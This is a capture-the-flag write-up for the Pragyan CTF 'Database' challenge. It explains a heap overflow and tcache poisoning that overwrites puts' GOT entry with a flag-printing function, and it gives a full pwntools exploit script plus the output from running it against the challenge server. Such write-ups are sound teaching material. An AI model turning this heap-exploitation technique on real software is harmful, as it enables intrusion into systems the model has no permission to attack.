[Pragyan CTF] Database

I didn’t solve this challenge in the CTF, but it was a really fun challenge, and my first heap expoitation challenge. This is the output of the checksec over the ELF of this challenge.

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

We had an executable that will print this menu, and at will leak for us the address on where is placed the main function since PIE is enabled.

 ____        _        ____
|  _ \  __ _| |_ __ _| __ )  __ _ ___  ___ 
| | | |/ _` | __/ _` |  _ \ / _` / __|/ _ \
| |_| | (_| | || (_| | |_) | (_| \__ \  __/
|____/ \__,_|\__\__,_|____/ \__,_|___/\___|

Welcome to MY DataBase!
You can store as many as 0x10 strings!!!
This might help: 0x55af4cc01275
You have following options

+-----------------------------+
| 1. Show all data            |
| 2. Insert a element         |
| 3. Update a element         |
| 4. Remove a element         |
| 5. Exit                     |
+-----------------------------+

We can see that is a simple implementation of a database used to store some strings. There are no Use after free or Double free bug since the pointer of the allocated region was nulled after the free. But in the Update a element section of the program we have a heap overflow bug. Here we can see the decompiled code for the update_item function

fwrite("Please enter the index of element => ", 1, 0x25, stderr);
read(0, buf, 8);
index_element = atoi(buf);
if ( *( &data_base + 2 * index_element) ){

      fwrite("Please enter the length of string => ", 1, 0x25, stderr);
      read(0, nptr, 8);
      new_read_size = atoi(nptr);

      *(&data_base + 2 * index_element) = new_read_size;
      fwrite("Please enter the string => ", 1, 0x1B, stderr);
      byte_read = read(0, *( &data_base + 2 * index_element), new_read_size))

      ...
}
else{
      fwrite("Invalid index\n", 1, 0xE, stderr);
    }

With this bug we can overwrite the other chunk if we write more data than the size of the selected chunk. In the version of the glibc that this elf use the tcache bins are used. The tcache bins will mantain a linked list of the freed chunks. The tcache is a data structure used from the glibc that is allocated for each thread, it behave similar to an arena, but is not shared between threads. The tcache use singly linked, LIFO lists. The procedure used to unlink a chunk from the tcache will write the chunk’s fd (foreward pointer) into the head of the list. So the exploit will try to use this to overwrite the pointer to the win function over the pointer of the puts in the got.

int secret()
{
  return system("/bin/cat ./flag");
}

First of all we need to create some helper function to interact with the executable. And read the pointer of the main function to calculate where the ELF is mapped in order to take the pointers of the win function and the puts in the got.

def insert_item(leng, data):
    p.sendlineafter(b'choice => ', b'2')
    p.sendlineafter(b'of string => ', f'{leng}'.encode())
    p.sendafter(b'to save => ', data)

# heap overflow here
def update_item(index, leng, data):
    p.sendlineafter(b'choice => ', b'3')
    p.sendlineafter(b'of element => ', f'{index}'.encode())
    p.sendlineafter(b'of string => ', f'{leng}'.encode())
    p.sendafter(b'string => ', data)

def delete_item(index):
    p.sendlineafter(b'choice => ', b'4')
    p.sendlineafter(b'index of element => ', f'{index}'.encode())

def leave_int():
    p.sendlineafter(b'choice => ', b'5')
    p.interactive()

p.recvuntilS(b'This might help: ')
main_addr = p.recvlineS()

elf.address = int(main_addr, 16)-elf.sym.main
log.info(f'Main @ {main_addr}')
log.info(f'Base address od the ELF @ {hex(elf.address)}')

win_function_addr = elf.sym.secret
puts_got = elf.got.puts

log.info(f'Win func @ {hex(win_function_addr)}')
log.info(f'puts in got @ {hex(puts_got)}')

After this we can start to mess with the heap. First we allocate three chunk of size 0x10. And then we free the third and the second in order to put them in the tcache LIFO linked list.

insert_item(0x10,'aaaa') #index 0
insert_item(0x10,'bbbb') #index 1
insert_item(0x10,'cccc') #index 2

delete_item(2)
delete_item(1)

Now we have in the tcache list this situation: HEAD-> elem1->elem2->NULL. Now we can overwrite the fd value of the elem1 by updating the elem0 and perform a heap overflow in this way.

# Heap overflow on the first item, in order to replace 
# the tcache fd to puts GOT address
payload = p64(0)*3+p64(0x21)+p64(puts_got)
update_item(0,len(payload),payload)

Now allocating a chunk with size of 0x10 will lead to copy the puts got address (placed in the fd of the first chunk) in the head in the tcache and so by requestiing another chunk with size 0x10 will take us a chunk in the got that point to puts got pointer and so what we write inside this chunk will be written at the entry of puts in the got.

insert_item(0x10, 'ffff')
# This item will be stored at puts GOT address
insert_item(0x10, p64(win_function_addr))

Now when the program will call puts, instead of executing the puts function will call the win function secret(). We can see that in the leave function is used a puts:

int leave()
{
  return puts("Thanks a lot!\nGoodbye!");
}

So this is the final script

#! /usr/bin/env python3
import pprint
from pwn import *

exe = './database'
elf = context.binary = ELF(exe)
    
def insert_item(leng, data):
    p.sendlineafter(b'choice => ', b'2')
    p.sendlineafter(b'of string => ', f'{leng}'.encode())
    p.sendafter(b'to save => ', data)

# heap overflow here
def update_item(index, leng, data):
    p.sendlineafter(b'choice => ', b'3')
    p.sendlineafter(b'of element => ', f'{index}'.encode())
    p.sendlineafter(b'of string => ', f'{leng}'.encode())
    p.sendafter(b'string => ', data)


def delete_item(index):
    p.sendlineafter(b'choice => ', b'4')
    p.sendlineafter(b'index of element => ', f'{index}'.encode())

def leave_int():
    p.sendlineafter(b'choice => ', b'5')
    p.interactive()

p = remote('binary.challs.pragyanctf.tech', 6004)
#p = elf.process()
#gdb.attach(p)

p.recvuntilS(b'This might help: ')
main_addr = p.recvlineS()

elf.address = int(main_addr, 16)-elf.sym.main
log.info(f'Main @ {main_addr}')
log.info(f'Base address od the ELF @ {hex(elf.address)}')

win_function_addr = elf.sym.secret
puts_got = elf.got.puts

log.info(f'Win func @ {hex(win_function_addr)}')
log.info(f'puts in got @ {hex(puts_got)}')

insert_item(0x10,'aaaa') #index 0
insert_item(0x10,'bbbb') #index 1
insert_item(0x10,'cccc') #index 2

delete_item(2)
delete_item(1)

# Heap overflow on the first item, in order to replace 
# the tcache next pointer to puts GOT address
payload = p64(0)*3+p64(0x21)+p64(puts_got)
update_item(0,len(payload),payload)

insert_item(0x10, 'ffff')
# This item will be stored at puts GOT address
insert_item(0x10, p64(win_function_addr))

# will print the flag since call puts
leave_int()

and this is the output of the exploit.

[*] '/home/eurus/Downloads/database_/database'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to binary.challs.pragyanctf.tech on port 6004: Done
[*] Main @ 0x559e08b6e275
[*] Base address od the ELF @ 0x559e08b6d000
[*] Win func @ 0x559e08b6e262
[*] puts in got @ 0x559e08d6ecd0
/home/eurus/Downloads/database_/./solver.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendafter(b'to save => ', data)
[*] Switching to interactive mode
p_ctf{Ch4Ng3_1T_t0_M4x1Mum}
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to binary.challs.pragyanctf.tech port 6004